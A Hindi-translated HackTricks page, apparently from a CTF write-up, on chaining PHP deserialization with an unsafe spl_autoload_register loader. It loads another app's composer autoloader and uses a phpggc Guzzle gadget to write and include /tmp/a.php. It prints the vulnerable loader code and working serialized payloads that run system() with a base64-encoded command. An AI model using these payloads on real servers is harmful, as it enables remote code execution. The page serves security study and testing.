Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

15 KiB
Raw Blame History

PHP - डिसीरियलाइजेशन + ऑटोलोड क्लासेस

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

पहले, आपको देखना चाहिए कि ऑटोलोडिंग क्लासेस क्या होती हैं।

PHP डिसीरियलाइजेशन + spl_autoload_register + LFI/Gadget

हम एक स्थिति में हैं जहां हमने एक वेबऐप में PHP डिसीरियलाइजेशन पाया है जिसमें phpggc के अंदर कोई भी गैजेट प्रभावित नहीं है। हालांकि, उसी कंटेनर में एक अलग कंपोजर वेबऐप था जिसमें गैजेट प्रभावित लाइब्रेरी हैं। इसलिए, लक्ष्य था कि दूसरे वेबऐप के कंपोजर लोडर को लोड करें और इसका दुरुपयोग करें ताकि डिसीरियलाइजेशन के प्रभावित वेबऐप से एक गैजेट को लोड करें जो उस लाइब्रेरी का शोषण करेगा।

चरण:

  • आपने एक डिसीरियलाइजेशन पाया है और वर्तमान ऐप कोड में कोई भी गैजेट नहीं है
  • आप निम्नलिखित तरह के spl_autoload_register फ़ंक्शन का दुरुपयोग कर सकते हैं ताकि आप किसी भी स्थानीय फ़ाइल को .php एक्सटेंशन के साथ लोड कर सकें
  • इसके लिए आप डिसीरियलाइजेशन का उपयोग करते हैं जहां क्लास का नाम $name में होगा। एक सीरीयलाइज़ किए गए ऑब्जेक्ट में क्लास के नाम में / या . का उपयोग नहीं किया जा सकता है, लेकिन कोड ने अंडरस्कोर ("_") को स्लैश ("/") में बदल दिया है। इसलिए, tmp_passwd जैसा एक क्लास नाम /tmp/passwd.php में बदल जाएगा और कोड इसे लोड करने का प्रयास करेगा।
    एक गैजेट उदाहरण हो सकता है: O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

{% hint style="success" %} यदि आपके पास एक फ़ाइल अपलोड है और आप एक फ़ाइल अपलोड कर सकते हैं जिसमें .php एक्सटेंशन है, तो आप इस कार्यक्षमता का दुरुपयोग कर सकते हैं और पहले से ही RCE प्राप्त कर सकते हैं। {% endhint %}

मेरे मामले में, मेरे पास ऐसी कोई चीज नहीं थी, लेकिन उसी कंटेनर के अंदर एक और कॉम्पोजर वेब पेज थी जिसमें एक phpggc गैजेट के लिए संकटग्रस्त पुस्तकालय थी।

  • इस अन्य पुस्तकालय को लोड करने के लिए, पहले आपको उस अन्य वेब ऐप के कॉम्पोजर लोडर को लोड करना होगा (क्योंकि मौजूदा एप्लिकेशन का वन अन्य की पुस्तकालयों तक पहुंच नहीं होगा)। आवेदन के पथ को जानते हुए, आप इसे बहुत आसानी से प्राप्त कर सकते हैं: O:28:"www_frontend_vendor_autoload":0:{} (मेरे मामले में, कॉम्पोजर लोडर /www/frontend/vendor/autoload.php में था)
  • अब, आप दूसरे ऐप कॉम्पोजर लोडर को लोड कर सकते हैं, इसलिए अब आपको phpggc पेलोड उत्पन्न करने के लिए समय है। मेरे मामले में, मैंने Guzzle/FW1 का उपयोग किया, जिससे मुझे फ़ाइल सिस्टम के अंदर कोई भी फ़ाइल लिख सकती थी।
  • ध्यान दें: उत्पन्न गैजेट काम नहीं कर रहा था, इसे काम करने के लिए मैंने उस पेलोड chain.php को संशोधित किया और सभी विशेषताएं निजी से सार्वजनिक कर दीं। यदि ऐसा नहीं होता, तो स्ट्रिंग को डिसीरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स की विशेषताएं कोई मान नहीं रखती थीं।
  • अब हमारे पास तरीका है दूसरे ऐप कॉम्पोजर लोडर को लोड करने का और एक काम करने वाला phpggc पेलोड है, लेकिन हमें इसे एक ही अनुरोध में करना होगा ताकि गैजेट का उपयोग होने पर लोडर लोड हो। उसके लिए, मैंने एक सीरीयलाइज़ किए गए एरे को भेजा है जिसमें दोनों ऑब्जेक्ट्स हैं, जैसा कि निम्नलिखित है:
  • आप पहले लोडर को लोड होते देख सकते हैं और फिर पेलोड

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • अब, हम एक फ़ाइल बना सकते हैं और लिख सकते हैं, हालांकि, उपयोगकर्ता वेब सर्वर के अंदर किसी भी फ़ोल्डर में लिख नहीं सकता। इसलिए, जैसा कि आप पेलोड में देख सकते हैं, PHP system को कुछ base64 के साथ बनाया जाता है जो /tmp/a.php में बनाया जाता है। फिर, हम पहले प्रकार के पेलोड का पुनः उपयोग कर सकते हैं जिसे हमने LFI के रूप में उपयोग किया था ताकि अन्य वेबऐप के कंपोजर लोडर को लोड किया जा सके और /tmp/a.php फ़ाइल को लोड किया जा सके। इसे डेसीरियलाइज़ेशन गैजेट में जोड़ें:

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

{% endcode %}

पेलोड का सारांश

  • एक अलग वेबऐप के कॉम्पोजर ऑटोलोड को लोड करें जो कंटेनर में ही है
  • एक फीचर लोड करें जो दूसरे वेबऐप की लाइब्रेरी का उपयोग करेगा (डिसीरियलाइज़ेशन के लिए संकटपूर्ण पहले वेबऐप में कोई फीचर नहीं था)
  • फीचर एक फ़ाइल बनाएगा जिसमें एक PHP पेलोड होगा जिसमें दुष्प्रभावी कमांड होंगी (/tmp/a.php में) (वेबऐप उपयोगकर्ता किसी भी वेबऐप के किसी भी फ़ोल्डर में लिखने के लिए अनुमति नहीं है)
  • हमारे पेलोड का अंतिम हिस्सा उत्पन्न PHP फ़ाइल को लोड करेगा जो कमांडों को निष्पादित करेगा

मुझे इस डिसीरियलाइज़ेशन को दो बार कॉल करने की आवश्यकता थी। मेरे परीक्षण में, पहली बार /tmp/a.php फ़ाइल बनाई गई थी लेकिन लोड नहीं हुई, और दूसरी बार यह सही ढंग से लोड हुई।

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥